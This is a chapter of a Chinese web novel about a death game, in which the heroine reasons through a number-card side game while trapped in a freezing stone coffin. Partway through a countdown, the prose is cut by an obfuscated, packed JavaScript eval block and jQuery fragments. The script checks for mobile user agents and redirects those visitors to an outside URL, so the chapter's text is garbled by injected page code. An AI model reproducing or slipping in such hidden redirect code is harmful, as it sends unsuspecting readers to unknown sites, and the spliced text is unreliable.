34. 彩虹节拍-黄3

作品:《危险智斗游戏[无限]

    “活人水棺”内。


    第三回合很快就要开始了。


    沈墨棠双手不停搓动,防止温度流失,很快,她看到屏幕上显示出【我比你多】的字样。


    同时,红蟹跳脱的声音也回荡在逼仄的黑暗空间中:“唷呼!第三回合即将开始,四位被淘汰者在前两回合中是否达成献祭了呢?哈哈……对了对了,这里是要再次提供给四位一个能赢得狗环剩余时长的机会!毕竟生命需要倒计时,而倒计时需要您的争取!咳咳……呐,本回合中,各位的支线游戏叫做【我比你多】……啊,哈哈,对,名字就叫做【我比你多】!”


    红蟹像是在跟人唠家常一样,而石棺中的屏幕画面变动,出现相应的规则演示动画。


    沈墨棠轻轻叹了口气,终于再次提起精神。


    “如各位所见,本次支线任务【我比你多】是一场由四位被淘汰者共同进行的‘比拼数值’游戏。”


    触屏动画中,显示“东”、“北”、“西”、“南”四个小人,每个小人面前都有“1、2、3、4、5、6、7”的七张数字牌。


    沈墨棠腮帮子发硬——只有四个参赛者,不会出现一个阵营出两个人的情况。


    这下直观的确定了。


    随着动画进行,红蟹的声音继续:“你们将各自拥有1-7的七个数字,每轮将选择一个数字进行‘比大小’,数字最大的一人或多人将获得一场胜利。”


    动画中,每个小人面前都有一张数字牌被推出:东推出“2”;北推出“3”;西推出“4”;南推出“5”。


    随后南的“5”被放大,跳出“胜场+1”的字样落到“南小人”头上,接着这轮被推出的4张数字牌一同破碎消失。


    比谁的数字更大,很简单的规则。


    可,为什么游戏名字不叫“比大小”或者“我比你大”之类的呢?偏偏叫一个“我比你多”?


    动画中继续演示第二轮的另一种情况:东推出“7”;北推出“7”;西推出“7”;南推出“1”。


    随后东、北、西的三张“7”都被放大,各自跳出“胜场+1”的字样落到各自小人头上,接着四张牌同样一起消失。


    沈墨棠轻轻颔首。


    也就是说,如果有多名玩家出的数字最大,那么这些玩家都能获得“胜场+1”。


    “……七轮游戏后,获得胜场最多的被淘汰者,可以获得双倍的赌注奖励!”红蟹说着,触屏画面中的四个小人不断推出面前的数字牌,一轮一轮“碰碎”……七轮过后,南小人头顶着“胜场+4”被放大,动画中爆出现星星和烟花,表示其获得最终胜利。


    红蟹“哈哈”笑过,补充道:“这里补充一条额外规则:若最终结果为4位淘汰者胜场相同,则触发‘我讨厌平局’的特殊情况!此时无人获得奖励,且扣除每位被淘汰者当前狗环剩余时间一半作为惩罚!”


    一半?


    那岂不是剩余时间越多的淘汰者,所受到的惩罚越严重,亏掉的时间就越多?


    触屏动画的光在沈墨棠身上闪烁,她皱了皱眉。上个回合的【时候未到】中,她刚赢得得了210分钟时长。


    她再次查看狗环屏幕,上面的倒计时为:


    07:02:44


    07:02:43


    07:02:42


    07:02:41


    七个小时,扣去一半的话,那就又只剩3个多小时了。


    上一场游戏的胜利直接白给。


    “嗯……我也讨厌平局……”沈墨棠喃喃自语。


    红蟹继续道:“【我比你多】将分为三个阶段进行,每个阶段执行两轮数字比拼,而最后一组数字比拼将自动结算。”


    “那么,首先我们先进行押注环节,该支线任务将由‘目前狗环剩余时长最短’的被淘汰者决定赌注多少!咳咳……默认最少下注60分钟,请在接下来的1分钟内决定是否加注。若您加注,则其余被淘汰者也将自动进行相等的加注。”


    沈墨棠吹出一口气,糊在额头上的刘海纹丝不动。


    自己的时间肯定是最多的,看来是别想押注了,只能等其他淘汰者决定。


    趁着下注这一分钟,可以先思考下这个游戏的策略。


    与上个回合不同,这回合的支线任务【我比你多】是强制要求四名被淘汰者都要参加,且四名被淘汰者需要投入相同的赌注。


    首先对于游戏结果,沈墨棠知道自己狗环的剩余时长肯定最多,若是最后达成平局,自己要扣掉三个多小时,基本就是将上回合的210分钟全部奉还……相比起来,这场游戏的赌注如果没有加注到210分钟,那么自己其实没必要跟其他人一样冒险,她只需要故意输掉,不让游戏最后平局,那结果还是可以接受的。


    其次,就是游戏当中的策略。


    每个淘汰者都只有1-7七个数字,每轮出一个,数字使用后无法再次重复使用。


    按照游戏规则,首先【7】必赢,【1】必输(排除同一轮出现四张【1】的情况),所以更多是看剩下的【2】、【3】、【4】、【5】、【6】五张牌当中,是否能拿到尽可能多的胜场。


    根据动画演示,能达到4个胜场,基本就能锁定游戏胜利。


    其中策略和扑克游戏类似,只不过【我比你多】当中,玩家之间没办法见到彼此,更没有每轮的押注环节进行心理博弈,无法完成扑克游戏中“bluff”的唬人操作,所以更多的只能依赖运气。


    是一场简单到基本无法出现策略的游戏……


    “想靠运气吗?”


    沈墨棠打量着冰冷的石头墙壁,触屏的光打在上面充满死气。


    红蟹的声音终于再次响起:“好的!确定赌注为60分钟!接下来我们将立刻进行【我比你多】游戏的第一阶段——1、2轮的数值比拼!”


    随着话音落下,触屏出现了【1】、【2】、【3】、【4】、【5】、【6】、【7】七个数,以及屏幕中央的【第一轮出牌:】字样。


    旁边还有1分钟倒计时,以及一行小字说明:如未按时输入,系统将在倒计时结束进行随机选择数字。


    沈墨棠不由得一笑。


    赌注果然只有60分钟。


    那……或许自己该直接放弃这场游戏更为稳妥?


    59……


    58……


    57……


    56……


    沈墨棠思考着这场游戏可能的对局情况。


    这个游戏基础的策略,就是尽可能利用自己的小数,去换掉别人的大数,然后再用比别人稍大一些的数获取胜场——例如最理想的情况,自己出了【1】,换掉其他三家一同出【7】,然后用【2】对上三家【1】、【3】对上三家【2】……这样最多能取得六个胜场!


    当然,这只存在于理论和美梦中。


    实际游戏根据每个玩家的不同性格,不同策略,不同侧重,存在无数种可能。而玩家之间又无法见到彼此,更别说相互交流,或者分析对方的肢体微表情。


    所以,在一无所知的前提下,首先使用必输的【1】或者必赢的【7】,来试探其他人的出牌风格,就成了此时最好的选择。


    相比起来,在第一轮使用【1】有可能换掉其他人的最大牌【7】,肯定是稳赚不赔的。


    51……


    50……


    49


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617380|151071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……


    48……


    沈墨棠痛苦地皱了皱眉。


    但若是剩下三人都这么打算,那么这时候出【2】就是绝杀;再假设每个人都想到了要出【2】,那么出【3】就是绝杀……如此往复的话,游戏本质上变成了“你在第一层,克制地下层;我在地下层,克制大气层”的无尽推演。


    “莽夫克高手,高手克萌新,萌新克莽夫……”


    43……


    42……


    41……


    40……


    “唔……”


    沈墨棠啧了一声,决定不再纠结,按了下【1】。


    就算第一轮自己被出【2】的玩家吃掉,那也能利用这轮看出其他玩家的出牌风格。更何况这场游戏的赌注只有60分钟,就当作自己“死者复苏”途中的热身吧!


    “快结束吧……要冷死了。”沈墨棠难受地小范围活动身躯,时不时挪动一下手脚,在狭小逼仄的水棺中尽可能不让自己冻僵。


    很快,倒计时结束。


    屏幕上公布了第一轮的【我比你多】游戏结果:


    东【1】,北【4】,西【1】,南【7】


    “恭喜南阵营淘汰者本轮胜场+1!”


    果然如此……


    沈墨棠看着触屏,画面跳转到第二轮的60秒倒计时。


    根据第一轮,能粗略判断,西阵营淘汰者出了【1】,和自己一样都属于比较保守出牌风格;而南阵营比较激进,先使用掉最大的【7】抢下一胜;北阵营则是最为大胆的出牌方式,选择使用中间数值【4】,目前还不确定其出牌逻辑具体是什么。


    沈墨棠开始思考第二轮的出牌选择。


    该轮中,若是自己出【7】,那么必然大于南阵营的所有牌——反过来说,南阵营也明白这点,所以大概率会放弃这一轮,而选择用掉【1】、【2】之类的小牌。


    所以自己在这轮选择【7】并不划算;选择【6】的话,又很可能被西或者北阵营的【7】“爽吃”,白白浪费一张大牌。


    如此推演下来,【5】、【4】、【3】也没有任何意义。


    那就只能先出【2】,至少应该比南阵营的【1】大,而且【2】就算被其他人用更高的数吃掉,也还在可以接受的劣势范围内。


    沈墨棠没有思考太多,按下了【2】。


    很快,60秒倒计时结束。触屏公布第二轮游戏结果:


    东【2】,北【5】,西【4】,南【3】


    “恭喜北阵营淘汰者本轮胜场+1!”


    冰冷的机械音播报:“第一阶段比拼结束,目前南阵营和北阵营的淘汰者各获得1个胜场。第二阶段将在5分钟后开启。”


    触屏自动锁屏,显示“等待主线游戏进行”。


    主线游戏?


    看来是指现在场上进行的第三回合。


    “唔?”


    沈墨棠靠近发光的小屏幕,脸上是不常出现的疑惑:北出了个5是什么鬼?是什么逻辑?


    她脑中瞬间想了无数种策略,都没办法完美解释北阵营淘汰者,为什么要在在第一轮过后,第二轮却用掉【5】?


    还是说,北笃定这一轮其他三家不会出大数?


    那么只需要像南或者西那样,出个3或者4就可以。


    难道是因为北第一轮已经用掉了【4】,所以第二轮才出到【5】?


    ……


    “嗡嗡嗡嗡……”


    【彩虹节拍】的第三回合游戏【刀枪不入】也已经开始。


    场地中央的金字塔装置四面出现嗡嗡作响的金属圆锯,南、北各有一个。


    而东、南两方,却是两个。